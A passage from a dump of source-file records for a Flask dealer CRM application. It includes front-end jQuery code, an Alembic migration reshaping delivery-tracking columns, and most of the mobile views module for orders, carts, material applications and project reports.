{\r\n\t\t\t$(this).parent().parent().children('#search_user_dept_ranges').css(\"display\", \"none\")\r\n\t\t\t$(this).parent().parent().children('#search_user_sale_range').css(\"display\", \"\")\r\n\t\t\t$(this).parent().parent().children('#search_user_sale_range_province').css(\"display\", \"\")\r\n\t\t\t$(this).parent().parent().children('#search_join_dealer').css(\"display\", \"\")\r\n\t\t\t\r\n\t\t\tdocument.getElementById(\"phone\").setAttribute(\"placeholder\",\"请输入联系人电话\");\r\n\t\t\tdocument.getElementById(\"label_nickname\").innerHTML=\"联系人姓名\";\r\n\t\t\tdocument.getElementById(\"nickname\").setAttribute(\"placeholder\",\"请输入联系人姓名\");\r\n\t\t};\r\n\t});\r\n\r\n\t//organization.user \r\n\t$(\"#select_sale_range_province\").change(function(){\r\n\t\tvar province_id=$(this).children('option:selected').val()\r\n\t\tvar level_grade=4\r\n\t\tvar data = {\r\n\t\t\t\"parent_id\":province_id,\r\n\t\t};\r\n\t\t$.ajax({\r\n\t\t\ttype: 'GET',\r\n\t\t\turl: '/organization/user/get_sale_range_by_parent/'+level_grade,\r\n\t\t\tdata: data, \r\n\t\t\tdataType: 'json', \r\n\t\t\tbeforeSend:function(){\r\n\t\t\t\t$(\"#loading\").css(\"display\", \"\");\r\n\t\t\t\t$(\"#select_sale_range\").attr(\"disabled\",\"disabled\");\r\n\t\t\t},\r\n\t\t\tsuccess: function(json_array) { \r\n\t\t\t\tvar json = eval(json_array);\r\n\t\t\t\t$(\"#select_sale_range option\").remove()\r\n\t\t\t\t$(\"#select_sale_range\").append(\"<option selected value='__None'></option>\");\r\n\t\t\t\t$.each(json, function (key,value) {\r\n\t\t\t\t\t$(\"#select_sale_range\").append(\"<option value='\"+key+\"'>\"+value+\"</option>\");\r\n\t\t\t\t}); \r\n\t\t\t},\r\n\t\t\terror: function(xhr, type) {\r\n\t\t\t\talert(\"级联销售范围获取失败,请直接选择\")\r\n\t\t\t},\r\n\t\t\tcomplete: function(xhr, type) {\r\n\t\t\t\t$(\"#loading\").css(\"display\", \"none\");\r\n\t\t\t\t$(\"#select_sale_range\").removeAttr(\"disabled\");\r\n\t\t\t}\r\n\t\t});\r\n\t});\r\n})\r\n\r\n//datetimePicker\r\n$(function(){\r\n\t$(\".datetimePicker\").datetimepicker({\r\n\t\ttimepicker:false,\r\n\t\tformat:'Y-m-d'\r\n\t});\r\n})\r\n\r\n$(function(){\r\n\t// generate qrcode without refreshing page\r\n\t$(\"#create_qrcode_btn\").click(function(){\r\n\t\tvar tracking_info_id = $(this).attr('name');\r\n\t\t$.ajax({\r\n\t\t\ttype: 'GET',\r\n\t\t\turl: '/order_manage/tracking_info/'+ tracking_info_id + '/generate_qrcode',\r\n\t\t\tdataType: 'json',\r\n\t\t\tsuccess: function(data) {\r\n\t\t\t\tvar hash = eval(data);\r\n\t\t\t\tif(hash['status'] == 'success'){\r\n\t\t\t\t\t$('#qrcode_field_wrapper').html(\r\n\t\t\t\t\t'<a href=\"/order_manage/tracking_info/' + tracking_info_id + '/qrcode\">' +\r\n '<img src=\"'+ hash['image_path'] +'\">' +\r\n '</a>'\r\n\t\t\t\t\t)\r\n\t\t\t\t}else if(hash['status'] == 'error'){\r\n\t\t\t\t\talert(hash['message'])\r\n\t\t\t\t}\r\n\t\t\t},\r\n\t\t\terror: function(xhr, type){\r\n\t\t\t\talert(\"Generate qrcode failed!\")\r\n\t\t\t}\r\n\t\t})\r\n\t})\r\n})\r\n\r\n//删除确认\r\nfunction str2asc(string){\r\n\tvar num=\"\";\r\n\twhile(string.length!=0){\r\n\t\tnum=num+string.charCodeAt(0);\r\n\t\tstring=string.substr(1);\r\n\t}\r\n\treturn num;\r\n}\r\n$(function(){\r\n\t$(\"button[data-confirm],a[data-confirm]\").click(function(e){\r\n\t\te.preventDefault();\r\n\t\tvar type=$(this).data(\"confirmtype\");\r\n\t\t\r\n\t\tif(type==\"get\"){\r\n\t\t\tvar href=$(this).attr(\"href\");\r\n\t\t}else if(type==\"post\"){\r\n\t\t\tvar href=$(this).parent(\"form\").attr(\"action\");\r\n\t\t}\r\n\t\t\t\r\n\t\tvar msg=$(this).data(\"confirm\");\r\n\t\tvar id=str2asc(href);\r\n\t\tif($(\"#\"+id).length<=0){\r\n\t\t\t\r\n\t\t\tif(type==\"get\"){\r\n\t\t\t\tvar modal=$(\r\n\t\t\t\t\t\"<div id=modal\"+id+\" class='modal' >\"+\r\n\t\t\t\t\t\t\"<div class='modal-dialog'>\"+\r\n\t\t\t\t\t\t\t\"<div class='modal-content'>\"+\r\n\t\t\t\t\t\t\t\t\"<div class='modal-body'>\"+\r\n\t\t\t\t\t\t\t\t\tmsg+\r\n\t\t\t\t\t\t\t\t\"</div>\"+\r\n\t\t\t\t\t\t\t\t\"<div class='modal-footer'>\"+\r\n\t\t\t\t\t\t\t\t\t\"<a href=\"+href+\" class='btn btn-default'>确认\"+\r\n\t\t\t\t\t\t\t\t\t\"</a>\"+\r\n\t\t\t\t\t\t\t\t\t\"<button type='button' class='btn btn-default' data-dismiss='modal'>取消</button>\"+\r\n\t\t\t\t\t\t\t\t\"</div>\"+\r\n\t\t\t\t\t\t\t\"</div>\"+\r\n\t\t\t\t\t\t\"</div>\"+\r\n\t\t\t\t\t\"</div>\"\r\n\t\t\t\t);\t\t\t\r\n\t\t\t}else if(type==\"post\"){\r\n\t\t\t\tvar modal=$(\r\n\t\t\t\t\t\"<div id=modal\"+id+\" class='modal' >\"+\r\n\t\t\t\t\t\t\"<form action=\"+href+\" method='post'>\"+\r\n\t\t\t\t\t\t\t\"<div class='modal-dialog'>\"+\r\n\t\t\t\t\t\t\t\t\"<div class='modal-content'>\"+\r\n\t\t\t\t\t\t\t\t\t\"<div class='modal-body'>\"+\r\n\t\t\t\t\t\t\t\t\t\tmsg+\r\n\t\t\t\t\t\t\t\t\t\"</div>\"+\r\n\t\t\t\t\t\t\t\t\t\"<div class='modal-footer'>\"+\r\n\t\t\t\t\t\t\t\t\t\t\"<button type='submit' class='btn btn-default'>确认\"+\r\n\t\t\t\t\t\t\t\t\t\t\"</button>\"+\r\n\t\t\t\t\t\t\t\t\t\t\"<button type='button' class='btn btn-default' data-dismiss='modal'>取消</button>\"+\r\n\t\t\t\t\t\t\t\t\t\"</div>\"+\r\n\t\t\t\t\t\t\t\t\"</div>\"+\r\n\t\t\t\t\t\t\t\"</div>\"+\r\n\t\t\t\t\t\t\"</form>\"+\r\n\t\t\t\t\t\"</div>\"\r\n\t\t\t\t);\t\r\n\t\t\t}\r\n\r\n\t\t\t$(\"body\").append(modal);\r\n\t\t}\r\n\t\t$(\"#modal\"+id).modal('show');\r\n\t})\r\n})\r\n\r\n" }, { "alpha_fraction": 0.6727400422096252, "alphanum_fraction": 0.7049754858016968, "avg_line_length": 38.63888931274414, "blob_id": "265f130ff3cb98c08a6e9a524de3632dda9b137c", "content_id": "31e523a858415b482edf54baf554dfe856f394b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1427, "license_type": "no_license", "max_line_length": 126, "num_lines": 36, "path": "/migrations/versions/fe424f6b86a5_add_delivery_infos_to_tracking_info.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add_delivery_infos_to_tracking_info\n\nRevision ID: fe424f6b86a5\nRevises: c6fb90a99137\nCreate Date: 2017-03-25 10:16:07.411587\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'fe424f6b86a5'\ndown_revision = 'c6fb90a99137'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('tracking_info', sa.Column('delivery_infos', sa.JSON(), nullable=True))\n op.drop_column('tracking_info', 'delivery_man_name')\n op.drop_column('tracking_info', 'logistics_company')\n op.drop_column('tracking_info', 'delivery_plate_no')\n op.drop_column('tracking_info', 'delivery_man_tel')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('tracking_info', sa.Column('delivery_man_tel', sa.VARCHAR(length=30), autoincrement=False, nullable=True))\n op.add_column('tracking_info', sa.Column('delivery_plate_no', sa.VARCHAR(length=100), autoincrement=False, nullable=True))\n op.add_column('tracking_info', sa.Column('logistics_company', sa.VARCHAR(length=200), autoincrement=False, nullable=True))\n op.add_column('tracking_info', sa.Column('delivery_man_name', sa.VARCHAR(length=200), autoincrement=False, nullable=True))\n op.drop_column('tracking_info', 'delivery_infos')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6029602885246277, "alphanum_fraction": 0.6058922410011292, "avg_line_length": 43.80190658569336, "blob_id": "8cae69f6619cc205fb7a27b43c46e5552f849fb4", "content_id": "f3fefe450581ef11bd40cdcc84c47824206cbafe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 43341, "license_type": "no_license", "max_line_length": 119, "num_lines": 944, "path": "/application/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os\nimport datetime\nimport random\nimport traceback\nfrom flask.helpers import make_response\nfrom flask import flash, redirect, render_template, request, url_for, session, current_app, send_file\nfrom . import app\nfrom .models import *\nfrom .web_access_log.models import WebAccessLog, can_take_record\nfrom .product.api import *\nfrom .inventory.api import load_users_inventories, delete_inventory\nfrom .helpers import save_upload_file, resize_image_by_width\nfrom flask_login import *\nfrom .backstage_management.forms import AccountLoginForm\nfrom .forms import *\nfrom .wechat.models import WechatCall, WechatUserInfo\nfrom .utils import is_number\nfrom decimal import Decimal\n\n\ndef flash_and_redirect(redirect_url=None):\n flash('非经销商帐号不能下单', 'danger')\n if redirect_url:\n return redirect(redirect_url)\n return redirect(url_for('mobile_index'))\n\n\[email protected]_request\ndef web_access_log():\n # only take record of frontend access\n if can_take_record(request.path):\n try:\n record = WebAccessLog.take_record(request, current_user)\n db.session.add(record)\n db.session.commit()\n except Exception as e:\n app.logger.warning('Exception: %s' % e)\n app.logger.warning(traceback.format_exc())\n db.session.rollback()\n pass\n\n\[email protected]('/mobile/index')\ndef mobile_index():\n return render_template('mobile/index.html')\n\n\n# --- Case show, client content model ---\[email protected]('/mobile/case_show')\ndef mobile_case_show():\n category = ContentCategory.query.filter(ContentCategory.name == '案例展示').first_or_404()\n classifications = category.classifications.order_by(ContentClassification.created_at.asc())\n return render_template('mobile/case_show.html', classifications=classifications)\n\n\[email protected]('/mobile/case_classification/<int:id>')\ndef mobile_case_classification_show(id):\n classification = ContentClassification.query.get_or_404(id)\n return render_template('mobile/case_classification_show.html', classification=classification)\n\n\[email protected]('/mobile/product_cases')\ndef mobile_product_cases():\n categories = load_categories()\n products_hash = {}\n for category in categories:\n products = load_products(category.get('category_id'), only_valid=True)\n products_hash[category.get('category_id')] = products\n return render_template('mobile/product_cases.html', categories=categories, products_hash=products_hash)\n\n\[email protected]('/mobile/product_case/<int:product_id>')\ndef mobile_product_case_show(product_id):\n product = load_product(product_id)\n case_ids = product.get('case_ids')\n contents = Content.query.filter(Content.id.in_(case_ids)).order_by(Content.created_at.desc())\n return render_template('mobile/product_case_show.html', product=product, contents=contents)\n\n\[email protected]('/mobile/case_content/<int:id>')\ndef mobile_case_content_show(id):\n content = Content.query.get_or_404(id)\n return render_template('mobile/case_content_show.html', content=content)\n\n\n# --- Product model ---\[email protected]('/mobile/product')\ndef mobile_product():\n categories = load_categories()\n products_hash = {}\n for category in categories:\n products = load_products(category.get('category_id'), only_valid=True)\n products_hash[category.get('category_id')] = products\n return render_template('mobile/product.html', categories=categories, products_hash=products_hash)\n\n\[email protected]('/mobile/product/<int:id>')\ndef mobile_product_show(id):\n product = load_product(id, option_sorted=True)\n skus = load_skus(id)\n contents = Content.query.filter(Content.id.in_(product.get('case_ids')))\n option_sorted = product.get('option_sorted')\n return render_template('mobile/product_show.html', product=product, skus=skus, contents=contents,\n option_sorted=option_sorted)\n\n\n# --- Storage model ---\[email protected]('/mobile/share')\ndef mobile_share():\n return render_template('mobile/share.html')\n\n\[email protected]('/mobile/share_storage_for_region')\ndef mobile_share_storage_for_region():\n regions = SalesAreaHierarchy.query.filter_by(level_grade=2).all()\n return render_template('mobile/share_storage_for_region.html', regions=regions)\n\n\[email protected]('/mobile/share_storage_for_detail/<int:id>')\ndef mobile_share_storage_for_detail(id):\n areas = SalesAreaHierarchy.query.filter_by(level_grade=3, parent_id=id).all()\n return render_template('mobile/share_storage_for_detail.html', areas=areas)\n\n\[email protected]('/mobile/storage')\ndef mobile_storage():\n categories = load_categories()\n products_hash = {}\n for category in categories:\n products = load_products(category.get('category_id'), only_valid=True)\n products_hash[category.get('category_id')] = products\n return render_template('mobile/storage.html', categories=categories, products_hash=products_hash)\n\n\[email protected](\"/mobile/storage_index\")\ndef storage_index():\n return render_template('mobile/storage_index.html')\n\n\[email protected]('/mobile/storage_show/<int:product_id>')\ndef mobile_storage_show(product_id):\n skus = load_skus(product_id)\n for sku in skus.get('skus'):\n sku['options'] = ','.join([','.join(list(option.values())) for option in sku.get('options')])\n return render_template('mobile/storage_show.html', skus=skus, product_id=product_id)\n\n\[email protected]('/mobile/cart', methods=['GET', 'POST'])\ndef mobile_cart():\n order = []\n if 'order' in session:\n order = session['order']\n if request.method == 'POST':\n if not current_user.is_dealer():\n return flash_and_redirect(url_for('mobile_storage_show', product_id=request.form.get('product_id')))\n if request.form:\n for param in request.form:\n current_app.logger.info(param)\n if 'number' in param and request.form.get(param):\n index = param.rsplit('_', 1)[1]\n current_app.logger.info(\"%s-%s\" % (index, request.form.get('number_%s' % index)))\n if float(request.form.get('number_%s' % index)) > 0:\n order_content = {'product_name': request.form.get('product_name_%s' % index),\n 'sku_specification': request.form.get('sku_specification_%s' % index),\n 'sku_code': request.form.get('sku_code_%s' % index),\n 'sku_id': request.form.get('sku_id_%s' % index),\n 'sku_thumbnail': request.form.get('sku_thumbnail_%s' % index),\n 'batch_no': request.form.get('batch_no_%s' % index),\n 'production_date': request.form.get('production_date_%s' % index),\n 'batch_id': request.form.get('batch_id_%s' % index),\n 'dealer': request.form.get('user_%s' % index),\n 'number': float(request.form.get('number_%s' % index)),\n 'square_num': \"%.2f\" % (0.3 * float(request.form.get('number_%s' % index)))}\n order.append(order_content)\n session['order'] = order\n flash('成功加入购物车', 'success')\n if request.form.get('product_id') is not None:\n return redirect(url_for('mobile_storage_show', product_id=request.form.get('product_id')))\n elif request.form.get('area_id') is not None:\n return redirect(url_for('stocks_share_for_order', area_id=request.form.get('area_id')))\n return render_template('mobile/cart.html', order=order, buyer_info={})\n\n\[email protected]('/mobile/cart_delete/<int:sku_id>', methods=['GET', 'POST'])\ndef cart_delete(sku_id):\n if not current_user.is_dealer():\n return flash_and_redirect()\n sorders = session['order']\n for order_content in sorders:\n if order_content.get('sku_id') == str(sku_id):\n current_app.logger.info(\"delete\")\n sorders.remove(order_content)\n session['order'] = sorders\n if len(session['order']) == 0:\n session.pop('order', None)\n if 'order' in session and session['order']:\n return redirect(url_for('mobile_cart'))\n else:\n return redirect(url_for('mobile_created_orders'))\n\n\[email protected]('/mobile/create_order')\ndef mobile_create_order():\n if not current_user.is_dealer():\n return flash_and_redirect()\n if 'order' in session and session['order']:\n order_no = 'SS' + datetime.datetime.now().strftime('%y%m%d%H%M%S')\n buyer = request.args.get('buyer', '')\n buyer_company = request.args.get('buyer_company', '')\n buyer_address = request.args.get('buyer_address', '')\n contact_phone = request.args.get('contact_phone', '')\n contact_name = request.args.get('contact_name', '')\n project_name = request.args.get('project_name', '')\n dealer_name = request.args.get('dealer_name', '')\n buyer_recipient = request.args.get('buyer_recipient', '')\n buyer_phone = request.args.get('buyer_phone', '')\n pickup_way = request.args.get('pickup_way', '')\n order_memo = request.args.get('order_memo')\n buyer_info = {\"buyer\": buyer, \"buyer_company\": buyer_company,\n \"buyer_address\": buyer_address, \"contact_phone\": contact_phone,\n \"contact_name\": contact_name, \"project_name\": project_name,\n \"dealer_name\": dealer_name, \"buyer_recipient\": buyer_recipient,\n \"buyer_phone\": buyer_phone, \"pickup_way\": pickup_way,\n \"order_memo\": order_memo}\n current_app.logger.info(buyer_recipient)\n if pickup_way.strip() == '':\n flash('取货方式必须选择', 'warning')\n return render_template('mobile/cart.html', order=session['order'], buyer_info=buyer_info)\n if buyer_recipient.strip() == '':\n flash('收件人必须填写', 'warning')\n return render_template('mobile/cart.html', order=session['order'], buyer_info=buyer_info)\n if buyer_phone.strip() == '':\n flash('收件人电话号码必须填写', 'warning')\n return render_template('mobile/cart.html', order=session['order'], buyer_info=buyer_info)\n if pickup_way.strip() == '送货上门':\n if buyer_address.strip() == '':\n flash('送货上门时收件人地址必须填写', 'warning')\n return render_template('mobile/cart.html', order=session['order'], buyer_info=buyer_info)\n province_id = current_user.sales_areas.first().parent_id\n us = db.session.query(User).join(User.departments).join(User.sales_areas).filter(\n User.user_or_origin == 3).filter(DepartmentHierarchy.name == \"销售部\").filter(\n SalesAreaHierarchy.id == province_id).first()\n if us is not None:\n sale_contract_id = us.id\n sale_contract = us.nickname\n else:\n sale_contract_id = None\n sale_contract = None\n order = Order(order_no=order_no, user=current_user, order_status='新订单',\n order_memo=order_memo,\n sale_contract_id=sale_contract_id,\n sale_contract=sale_contract,\n buyer_info=buyer_info)\n db.session.add(order)\n for order_content in session['order']:\n batch_info = {}\n if order_content.get('batch_id') is not None and order_content.get('batch_id') != '':\n batch_info = {'batch_no': order_content.get('batch_no'),\n 'production_date': order_content.get('production_date'),\n 'batch_id': order_content.get('batch_id'),\n 'dealer': order_content.get('dealer')\n }\n oc = OrderContent(order=order, product_name=order_content.get('product_name'),\n sku_specification=order_content.get('sku_specification'),\n sku_code=order_content.get('sku_code'), number=order_content.get('number'),\n square_num=order_content.get('number'), batch_info=batch_info\n )\n sku_id = order_content.get('sku_id')\n from .inventory.api import update_sku\n data = {\"stocks_for_order\": order_content.get('number')}\n response = update_sku(sku_id, data)\n if not response.status_code == 200:\n raise BaseException('error')\n db.session.add(oc)\n db.session.commit()\n # should modify sku stocks info meanwhile\n # call sku edit api\n session.pop('order', None)\n flash(\"订单创建成功\", 'success')\n return redirect(url_for('mobile_created_orders'))\n else:\n return redirect(url_for('root'))\n\n\[email protected]('/mobile/orders')\ndef mobile_orders():\n if 'order' in session and session['order']:\n return redirect(url_for('mobile_cart'))\n return redirect(url_for('mobile_created_orders'))\n\n\[email protected]('/mobile/<int:id>/order_show')\ndef order_show(id):\n order = Order.query.get_or_404(id)\n return render_template('mobile/order_show.html', order=order)\n\n\[email protected]('/mobile/created_orders')\ndef mobile_created_orders():\n page_size = int(request.args.get('page_size', 5))\n page_index = int(request.args.get('page', 1))\n orders_page = Order.query.filter_by(user_id=current_user.id).order_by(Order.created_at.desc()) \\\n .paginate(page_index, per_page=page_size, error_out=True)\n return render_template('mobile/orders.html', orders_page=orders_page)\n\n\[email protected]('/mobile/contract/<int:id>')\ndef mobile_contract_show(id):\n order = Order.query.get_or_404(id)\n contract = order.contracts.all()[0]\n return render_template('mobile/contract_show_mobile.html', order=order, contract=contract)\n\n\n# --- Design ---\[email protected]('/mobile/design', methods=['GET', 'POST'])\ndef mobile_design():\n project_reports = ProjectReport.query.filter_by(status='申请通过,项目已被保护(有效期三个月)')\n if request.method == 'POST':\n if not current_user.is_dealer():\n return flash_and_redirect(url_for('mobile_design'))\n if request.form.get('filing_no') and request.files.get('ul_file'):\n project_report = ProjectReport.query.filter_by(report_no=request.form.get('filing_no')).first()\n if project_report in project_reports:\n file_path = save_upload_file(request.files.get('ul_file'))\n application = DesignApplication(filing_no=request.form.get('filing_no'),\n ul_file=file_path, status='新申请', applicant=current_user)\n application.save\n flash('产品设计申请提交成功', 'success')\n return redirect(url_for('mobile_design_applications'))\n else:\n flash('项目报备编号不存在', 'danger')\n else:\n flash('项目报备编号和上传设计图纸不能为空', 'danger')\n return redirect(url_for('mobile_design'))\n return render_template('mobile/design.html', project_reports=project_reports)\n\n\[email protected]('/mobile/design_applications')\ndef mobile_design_applications():\n # list design applications of current user\n applications = current_user.design_applications\n return render_template('mobile/design_applications.html', applications=applications)\n\n\[email protected]('/mobile/design_file/<int:id>')\ndef mobile_design_file(id):\n application = DesignApplication.query.get_or_404(id)\n return render_template('mobile/design_file_show.html', application=application)\n\n\n# --- Material need ---\[email protected]('/mobile/material_need')\ndef mobile_material_need():\n category = ContentCategory.query.filter(ContentCategory.name == '物料需要').first_or_404()\n classifications = category.classifications\n return render_template('mobile/material_need.html', classifications=classifications)\n\n\[email protected]('/mobile/material_need_options/<int:classification_id>')\ndef mobile_material_need_options(classification_id):\n classification = ContentClassification.query.get_or_404(classification_id)\n options = classification.options\n return render_template('mobile/material_need_options.html', options=options)\n\n\[email protected]('/mobile/material_need_contents/<int:option_id>')\ndef mobile_material_need_contents(option_id):\n option = ContentClassificationOption.query.get_or_404(option_id)\n contents = option.contents\n return render_template('mobile/material_need_contents.html', contents=contents)\n\n\[email protected]('/mobile/material_application/new', methods=['GET', 'POST'])\ndef mobile_material_application_new():\n if request.method == 'POST':\n if not current_user.is_dealer():\n return flash_and_redirect(url_for('mobile_material_application_new'))\n app_contents = []\n if request.form:\n for param in request.form:\n if 'material' in param and request.form.get(param):\n if int(request.form.get(param)) > 0:\n app_contents.append([param.split('_', 1)[1], request.form.get(param)])\n if app_contents or request.form.get('app_memo'):\n sales_area = SalesAreaHierarchy.query.get(current_user.sales_areas.first().parent_id).name\n app_infos = {\n 'receive_address': request.form.get('receive_address'),\n 'receiver': request.form.get('receiver'),\n 'receiver_tel': request.form.get('receiver_tel'),\n 'receiver_company': request.form.get('receiver_company')\n }\n application = MaterialApplication(app_no='MA' + datetime.datetime.now().strftime('%y%m%d%H%M%S'),\n user=current_user, status='新申请', app_memo=request.form.get('app_memo'),\n app_type=2, sales_area=sales_area, app_infos=app_infos)\n db.session.add(application)\n for app_content in app_contents:\n material = Material.query.get_or_404(app_content[0])\n content = MaterialApplicationContent(material_id=material.id, material_name=material.name,\n number=app_content[1], application=application)\n db.session.add(content)\n db.session.commit()\n flash('物料申请提交成功', 'success')\n else:\n flash('物料申请内容不能为空', 'danger')\n return redirect(url_for('mobile_material_application_new'))\n materials = Material.query.order_by(Material.name.desc())\n return render_template('mobile/material_application_new.html', materials=materials)\n\n\[email protected]('/mobile/material_applications')\ndef mobile_material_applications():\n applications = current_user.material_applications.order_by(MaterialApplication.created_at.desc())\n return render_template('mobile/material_applications.html', applications=applications)\n\n\[email protected]('/mobile/material_application/<int:id>')\ndef mobile_material_application_show(id):\n application = MaterialApplication.query.get_or_404(id)\n if not application.user == current_user:\n return redirect(url_for('mobile_index'))\n return render_template('mobile/material_application_show.html', application=application)\n\n\n# 取消经销商再次确认步骤\[email protected]('/mobile/material_application/<int:id>/reconfirm_accept')\ndef mobile_material_application_reconfirm_accept(id):\n application = MaterialApplication.query.get_or_404(id)\n if application.user != current_user or application.status != '等待经销商再次确认':\n return redirect(url_for('mobile_index'))\n application.status = '经销商已确认'\n db.session.add(application)\n db.session.commit()\n flash('已确认审核结果', 'success')\n return redirect(url_for('mobile_material_applications'))\n\n\n# 取消经销商再次确认步骤\[email protected]('/mobile/material_application/<int:id>/cancel')\ndef mobile_material_application_cancel(id):\n application = MaterialApplication.query.get_or_404(id)\n if not application.user == current_user:\n return redirect(url_for('mobile_index'))\n application.status = '已取消'\n db.session.add(application)\n db.session.commit()\n flash('已取消申请', 'success')\n return redirect(url_for('mobile_material_applications'))\n\n\n# --- Tracking info ---\[email protected]('/mobile/tracking', methods=['GET', 'POST'])\ndef mobile_tracking():\n if request.method == 'POST':\n contract_no = request.form.get('contract_no').strip()\n receiver_tel = request.form.get('receiver_tel').strip()\n tracking_info = TrackingInfo.query.filter(\n (TrackingInfo.contract_no == contract_no) &\n (TrackingInfo.receiver_tel == receiver_tel)\n ).first()\n if tracking_info:\n return redirect(url_for('mobile_tracking_info', id=tracking_info.id))\n else:\n flash('未找到对应物流信息', 'warning')\n return redirect(url_for('mobile_tracking'))\n contracts = Contract.query.filter_by(user_id=current_user.id).all()\n tracking_infos = TrackingInfo.query.filter(\n TrackingInfo.contract_no.in_([contract.contract_no for contract in contracts])\n ).order_by(TrackingInfo.created_at.desc())\n return render_template('mobile/tracking.html', tracking_infos=tracking_infos)\n\n\[email protected]('/mobile/tracking_info/<int:id>')\ndef mobile_tracking_info(id):\n delivery_infos_dict = {\n 'recipient': '收货人',\n 'tracking_no': '物流单号',\n 'delivery_tel': '货运公司电话',\n 'goods_weight': '货物重量(kg)',\n 'goods_count': '货物件数',\n 'duration': '运输时间',\n 'freight': '运费(元)',\n 'pickup_no': '提货号码'\n }\n tracking_info = TrackingInfo.query.get_or_404(id)\n return render_template('mobile/tracking_info.html', tracking_info=tracking_info)\n\n\n# --- Verification ---\[email protected]('/mobile/verification/<int:order_id>')\ndef mobile_verification_show(order_id):\n order = Order.query.get_or_404(order_id)\n contract = order.contracts.all()[0]\n return render_template('mobile/verification_show.html', order=order, contract=contract)\n\n\n# --- Construction guide ---\[email protected]('/mobile/construction_guide')\ndef mobile_construction_guide():\n category = ContentCategory.query.filter(ContentCategory.name == '施工指导').first_or_404()\n classifications = category.classifications.order_by(ContentClassification.created_at.desc())\n return render_template('mobile/construction_guide.html', classifications=classifications)\n\n\[email protected]('/mobile/construction_guide_options/<int:classification_id>')\ndef mobile_construction_guide_options(classification_id):\n classification = ContentClassification.query.get_or_404(classification_id)\n options = classification.options\n return render_template('mobile/construction_guide_options.html', options=options)\n\n\[email protected]('/mobile/construction_guide_contents/<int:option_id>')\ndef mobile_construction_guide_contents(option_id):\n option = ContentClassificationOption.query.get_or_404(option_id)\n contents = option.contents\n return render_template('mobile/construction_guide_contents.html', contents=contents)\n\n\n# --- After service ---\[email protected]('/mobile/after_service')\ndef mobile_after_service():\n return render_template('mobile/after_service.html')\n\n\n# --- CKEditor file upload ---\ndef gen_rnd_filename():\n filename_prefix = 'ck' + datetime.datetime.now().strftime('%Y%m%d%H%M%S')\n return '%s%s' % (filename_prefix, str(random.randrange(1000, 10000)))\n\n\[email protected]('/ckupload/', methods=['POST'])\ndef ckupload():\n error = ''\n url = ''\n callback = request.args.get('CKEditorFuncNum')\n if request.method == 'POST' and 'upload' in request.files:\n fileobj = request.files['upload']\n fname, fext = os.path.splitext(fileobj.filename)\n rnd_name = '%s%s' % (gen_rnd_filename(), fext)\n filepath = os.path.join(app.static_folder, 'upload/ckupload', rnd_name)\n # check file path exists or not\n dirname = os.path.dirname(filepath)\n if not os.path.exists(dirname):\n try:\n os.makedirs(dirname)\n except:\n error = 'ERROR_CREATE_DIR'\n elif not os.access(dirname, os.W_OK):\n error = 'ERROR_DIR_NOT_WRITEABLE'\n if not error:\n fileobj.save(filepath)\n resize_image_by_width(filepath, new_width=640)\n url = url_for('static', filename='%s/%s' % ('upload/ckupload', rnd_name))\n else:\n error = 'post error'\n res = \"\"\"\n <script type=\"text/javascript\">\n window.parent.CKEDITOR.tools.callFunction(%s, '%s', '%s');\n </script>\n \"\"\" % (callback, url, error)\n response = make_response(res)\n response.headers['Content-Type'] = 'text/html'\n return response\n\n\n# --- Project ---\[email protected]('/mobile/project_report/new', methods=['GET', 'POST'])\ndef new_project_report():\n if request.method == 'POST':\n if not current_user.is_dealer():\n return flash_and_redirect(url_for('new_project_report'))\n report_content = {\"app_company\": request.form.get(\"app_company\"),\n \"project_follower\": request.form.get(\"project_follower\"),\n \"contract_phone\": request.form.get(\"contract_phone\"),\n \"contract_fax\": request.form.get(\"contract_fax\"),\n \"project_name\": request.form.get(\"project_name\"),\n \"report_date\": request.form.get(\"report_date\"),\n \"project_address\": request.form.get(\"project_address\"),\n \"project_area\": request.form.get(\"project_area\"),\n \"product_place\": request.form.get(\"product_place\"),\n \"recommended_product_line\": request.form.get(\"recommended_product_line\"),\n \"recommended_product_color\": request.form.get(\"recommended_product_color\"),\n \"project_completion_time\": request.form.get(\"project_completion_time\"),\n \"expected_order_time\": request.form.get(\"expected_order_time\"),\n \"competitive_brand_situation\": request.form.get(\"competitive_brand_situation\"),\n \"project_owner\": request.form.get(\"project_owner\"),\n \"project_decoration_total\": request.form.get(\"project_decoration_total\"),\n \"project_design_company\": request.form.get(\"project_design_company\"),\n \"is_authorization_needed\": request.form.get(\"is_authorization_needed\"),\n \"expected_authorization_date\": request.form.get(\"expected_authorization_date\"),\n \"authorize_company_name\": request.form.get('authorize_company_name')}\n upload_files = request.files.getlist('pic_files[]')\n current_app.logger.info(\"upload_files\")\n current_app.logger.info(upload_files)\n filenames = []\n for file in upload_files:\n file_path = save_upload_file(file)\n current_app.logger.info(\"file_path\")\n current_app.logger.info(file_path)\n if file_path is not None:\n filenames.append(file_path)\n project_report = ProjectReport(\n app_id=current_user.id,\n status=\"新创建待审核\",\n report_no=\"PR%s\" % datetime.datetime.now().strftime('%y%m%d%H%M%S'),\n report_content=report_content,\n pic_files=filenames\n )\n db.session.add(project_report)\n db.session.commit()\n return redirect(url_for('project_report_index'))\n return render_template('mobile/project_report_new.html')\n\n\[email protected]('/mobile/project_report/index', methods=['GET'])\ndef project_report_index():\n page_size = int(request.args.get('page_size', 5))\n page_index = int(request.args.get('page', 1))\n project_reports = ProjectReport.query.filter_by(app_id=current_user.id).order_by(ProjectReport.created_at.desc()) \\\n .paginate(page_index, per_page=page_size, error_out=True)\n return render_template('mobile/project_report_index.html', project_reports=project_reports)\n\n\[email protected]('/mobile/project_report/<int:id>', methods=['GET'])\ndef project_report_show(id):\n project_report = ProjectReport.query.get_or_404(id)\n return render_template('mobile/project_report_show.html', project_report=project_report)\n\n\[email protected]('/mobile/share_index/<int:area_id>', methods=['GET'])\ndef 